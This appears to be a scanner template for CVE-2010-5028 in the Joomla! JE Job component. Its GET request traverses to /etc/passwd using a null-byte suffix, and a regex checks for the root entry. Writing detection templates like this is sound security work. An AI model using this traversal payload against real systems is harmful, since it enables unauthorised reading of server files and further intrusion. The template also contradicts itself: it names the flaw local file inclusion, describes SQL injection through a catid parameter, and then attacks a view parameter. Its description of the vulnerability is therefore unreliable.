id: CVE-2010-5028 info: name: Joomla! Component JE Job 1.0 - Local File Inclusion author: daffainfo severity: high description: A SQL injection vulnerability in the JExtensions JE Job (com_jejob) component 1.0 for Joomla! allows remote attackers to execute arbitrary SQL commands via the catid parameter in an item action to index.php. reference: - https://www.exploit-db.com/exploits/12601 - https://www.cvedetails.com/cve/CVE-2010-5028 - http://www.vupen.com/english/advisories/2010/1269 - http://www.securityfocus.com/bid/40193 remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-5028 tags: cve,cve2010,joomla,lfi requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_jejob&view=../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/18